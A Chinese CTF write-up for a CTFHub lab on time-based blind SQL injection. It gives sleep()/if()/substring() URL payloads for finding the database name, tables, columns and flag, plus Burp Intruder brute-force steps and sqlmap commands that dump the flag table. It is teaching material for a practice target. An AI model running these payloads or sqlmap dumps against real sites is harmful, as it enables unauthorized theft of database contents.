首先通过学习别人的wp发现根本不能用手动注入来实现,只能用脚本,bp或者sqlmap来实现时间盲注的解决。(所以这里便不再展示手动注入)
时间盲注也叫延时盲注,相当于布尔盲注的一种加强型吧,布尔盲注提交后页面还有正确或者错误的显示,而时间盲注一点显示都没有。这个时候我们需要通过一个特别的函数sleep()来进行判断我们的输入是否正确执行。
1.重要的函数
sleep()函数:参数为休眠时长,可为小数,单位 秒。
select sleep();
if()函数:if(condition,true,false)condition为条件,条件为真时返回true,条件为假时返回false。
select if(1=1,sleep(0),sleep(3));
#1=1为真,执行休眠0秒
select if(1=2,sleep(0),sleep(3));
#1=2为假,执行休眠3秒
substr()函数:substr((),1,1) 从第一个字符开始,显示一个字符。
ascii()函数:ascii(character)得到字符的ASCII码值。(这个函数在布尔盲注中我也有用到)
2.判断闭合方式。
?id=1 and sleep(2)--+
?id=1' and sleep(2)--+
?id=1" and sleep(2)--+
?id=1') and sleep(2)--+
?id=1") and sleep(2)--+
3.需要了解mysql的知识点:
union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符和一些基本sql语法
和一些基本注释:
#,–空格,/* */
一:使用bp进行注入:
1.判断数据库名长度:
?id=1 and if(length(database())>=5,sleep(3),sleep(1))
# 执行休眠1秒
?id=1 and if(length(database())>=4,sleep(3),sleep(1))
#执行休眠3秒
#数据库名长度为4
2.爆数据库名字:
?id=1 and if(substring(database(),1,1)='a',sleep(5),sleep(1))
#执行休眠1秒
...
?id=1 and if(substring(database(),1,1)='s',sleep(5),sleep(1))
#执行休眠5秒
#数据库第一个字符为s
?id=1 and if(substring(database(),2,1)='q',sleep(5),sleep(1))
#执行休眠5秒
#数据库第二个字符为q?id=1 and if(substring(database(),3,1)='l',sleep(5),sleep(1))
#执行休眠5秒
#数据库第三个字符为l
?id=1 and if(substring(database(),4,1)='i',sleep(5),sleep(1))
#执行休眠5秒
#数据库第四个字符为i
接下来用bp 进行抓包爆破
(1)攻击类型选为Cluster bomb
(2)选择要进行爆破的字符,第一个1,第二个是a
#随便输入一个字符,无论正确与否,使用burpsuite进行抓包,将抓到的包发送到intruder模块。
(3)设置第一个字符的payload,类型为Numbers
(已经知道长度为4,可以直接设置为4,不知道时 设置比需要爆破字符的长度长。)
(4)设置第二个需要爆破字符的payload,类型为Simple list
(爆破字段为26个英文字母)
(5)点击开始攻击得到结果,sleep(5)要筛选出响应时间大于5s的数据包。
在columns里面勾选Response received和Response completed这两个选项,再进行筛选,响应时间最大的四个就是执行成功的——sqli。
3.爆数据的表名:
?id=1 and if(substring((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='q',sleep(5),sleep(1))
#limit 0,1第一个表 substring((),1,1)从第一个字符开始,显示一个字符
...
?id=1 and if(substring((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1,1)='q',sleep(5),sleep(1))
##limit 1,1第二个表 substring((),1,1)从第一个字符开始,显示一个字符
...
步骤与上面爆库相同的
第二个表为news
第一个表是flag
第三个没有...
4.爆数据列名:
?id=1 and if(substring((select column_name from information_schema.columns where table_name='flag'),1,1)='q',sleep(5),sleep(1))
爆出第一个列flag
5.爆flag:
?id=1 and if(substring((select flag from sqli.flag),1,1)='q',sleep(5),1)
最后按照顺次把flag拼接起来
ctfhub{f6bf33b9d36bb7d03cc015a3}
二:用python脚本注入:
代码:CTFHub_技能树_Web之SQL注入——时间盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub时间盲注-CSDN博客
数据列名选择:flag
即可得到flag
三:sqlmap注入:
sqlmap的用法与上一个布尔盲注的方法一样,只是代码不同而已
1.获取当前使用的数据库
sqlmap -u 'http://xx/?id=1 --current-db
2.获取指定数据库中的数据表
sqlmap -u 'http://xx/?id=1 -D 'sqli' --tables
3.获取指定数据表中的数据列
sqlmap -u 'http://xx/?id=1' -D 'sqli' -T 'flag' --columns
4.获取指定数据列中的所有字段
sqlmap -u 'http://xx/?id=1' -D 'sqli' -T 'flag' -C 'flag' --dump
# -D 指定库,-T指定表,-C 指定列(字段)